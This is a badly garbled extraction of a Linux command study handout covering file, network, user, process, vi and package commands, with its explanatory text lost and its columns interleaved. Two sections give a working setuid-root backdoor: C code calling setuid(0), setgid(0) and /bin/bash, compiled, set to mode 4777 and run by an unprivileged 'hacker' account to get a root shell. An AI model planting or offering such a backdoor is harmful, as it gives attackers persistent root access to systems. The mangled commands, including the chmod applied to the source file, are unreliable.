Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 5

Linux

1.

2. Linux Command

shutdownhnow

- pwd : ( ) ex) pwd

shutdownh+10 10

- cd :

shutdownrnow
shutdownr+10 10

ex) cd/tmp () tmp


cd./../tmp () /tmp

shutdown+10 10
shutdownc /
<>
1.

Ctrl+Alt+F2()
shutdownh+100 : 100
Ctrl+c .

2.

Ctrl+Alt+F3()
Shutdownc

3.

Ctrl+Alt+F2()


- : /()
- : . ( ) ..
- ls :
ex) ls :
ls-al : (. )
ls-al/root : /root
ls--full-timeabc : abc
- cat : , ,
ex) cat : ( )

| () : .
ex) | :

>:

>> :

ex) cat> :
Ctrl+d
cat >> :

2>: 2>>:
ex) ls-al>kkk : kkk
ls-al>>kkk :
cle2>abc
: cle( ) abc
clear :
:
Tap : ,
history|more :
! :

Ctrl+d
-mkdir : ex) mkdir
-touch : ,
ex) touch
ex) touch-rabcbbc
: abc bbc

ex) touch-t1409241134abc
: 1409241134

1| Page

- cp :
ex) cp/tmp/abc/root/bbc :

- rdate :
/tmp abc

/root bbc( )
-rf !
- mv :
ex) mv/tmp/abc/root/abc
:

/tmp abc /root

cp mv
cp ( abc, bbc )
mv (abc)

- rm :
ex) rm-rf
rm-rf* :
- head : 10
ex) head/etc/passwd
- tail : 10
ex) tail/etc/passwd
- more :
ex) | more

cat/etc/passwd|more
ls-al|more
find|more
-Grep :
ex) greproot/etc/passwd
: /etc/passwd root .
(cat,find )
cat/etc/passwd|greproot

2| Page

ex) rdate-ptime.bora.net
: kt
rdate-sntp.ewha.net
:
- date : ex) date
- tzselect : time zone select(VM ware )
cp/usr/share/zoneinfo/Asia/Seoul/etc/localtime
y .
-ln :
ex) ln
lnabchabc : abc habc
ln-s
ln-sabcsabc : abc sabc

1.

2. .
3. 1
inode

3.
- find :
name :
ex) find/-namea*
: a

ab? :
a? : a , a?
user :
ex) find/-userid : id .

4.
- ping :
ex) ping8.8.8.8 :
.
ifconfig : IP
ex) ifconfig : eth0 inet addr ip .
ifconfigeth0down : X
ifconfigeth08.8.8.8netmask255.255.255.0up :
route :
ex) route : default
routedeldefaultgw :

perm :

routeadddefaultgw :

ex) find/-perm777 : 777


size :

dhclient : ip
( ,)

< > cat Backdoor


1.cat>back.c

1. killalldhclient :
2. dhclient :

#include <stdio.h>
int main()
{

<>

setuid(0);

1.

ping8.8.8.8 :

2.

dhclient : ip

2.gcc-obackback.c :

3.

ifconfig : IP

3.chmod4777back.c :

4.

ifconfigeth08.8.8.8netmask255.255.255.0up

setgid(0);
system(/bin/bash);
} ctrl+d

4.useraddhacker : id
paswdhacker : password

ip 8.8.8.8, netmask 255.255.255.0

5.exit : haker

( ip ifconfig eth0

6.cd/tmp : /tmp

7. ./back : back
->$ # .(hacker root )

3| Page

5.

6. process management

-useradd :

<>

ex) useradd

1.

ping8.8.8.8 : ping

useradd-u2000-ganimalmonkey

2.

ctrl+z :

: uid 2000, animal monkey

3.

jobs :

-passwd :

[ ]

ex) passwd : (root)

fg% :

passwd :
-usermod :

ctrl+z :
4.

ex) usermod-u1000cat

ex) ps-ef :

: cat UID 1000

ps-aux :

usermod-gdogcat

PID

: cat dog
groupid : id
-userdel :

ps :

ps-aux|grepping : ping PID


5.

kill-9PID : PID

ping ( )

ex) userdel-rfcat

1->ctrl+alt+F3->4->5->ctrl+alt+F2

-rf

-CPU

root !
-chmod :
ex) chmod777cat
:cat
-chown :
ex) chown.

uname : Linux
uname-p : i686 4
uname-a :
-
free-m:MB
-
pstree :
- CPU
top :
-

: . !
-su :
ex) suid : , X
su-id :

4| Page

netstat
netstat-ntlp
-
last :

7.vi editor
- vi :

- i :

8.
cd/etc/skel/ : setting
-alias : .( )
ex) aliaszz='ls -l' : zz zz

-------------------------------------------

ls l .

- x :

-PATH : ,

- dd : (2 2dd)
- yy : (2 2yy)
- p :
- u :
- esc :
------------------------------------------:q : ()
-:q! : ()
-:w :
-:wq :

,
PATH
.
ex) echo$PATH : PATH :

PATH=$PATH:/tmp :/tmp PATH



: /etc/profile
: ~/.bash_profile
-echo : ()
ex) echoSHELL : SHELL()

-------------------------------------------:! : (! )
ex) : !ls-al : vi .
vi
< > vi Backdoor
1.vibackdoor.c
#include <stdio.h>
int main()

echo$SHELL : SHELL ,
/bin/bash . (cat )

echo$? : echo$?
. 0 .

echo$LANG : en_US.UTF-8
LANG=KO :KO , exportLANG=KO

{
setuid(0);
setgid(0);
system(/bin/bash);
}

9. Package Install
rpm-qa :

esc :wq
2.gcc-obackdoorbackdoor.c :
3.chmod4777back.c :
4.suhacker : id
root pw
5.cd/tmp : /tmp
6. ./backdoor : backdoor
->$ # .(hacker root )
7. exit : exit backdoor . exit : su

5| Page

*
yum-yinstall :
. y
yumserch :
ex) yumserchhttpd : httpd

You might also like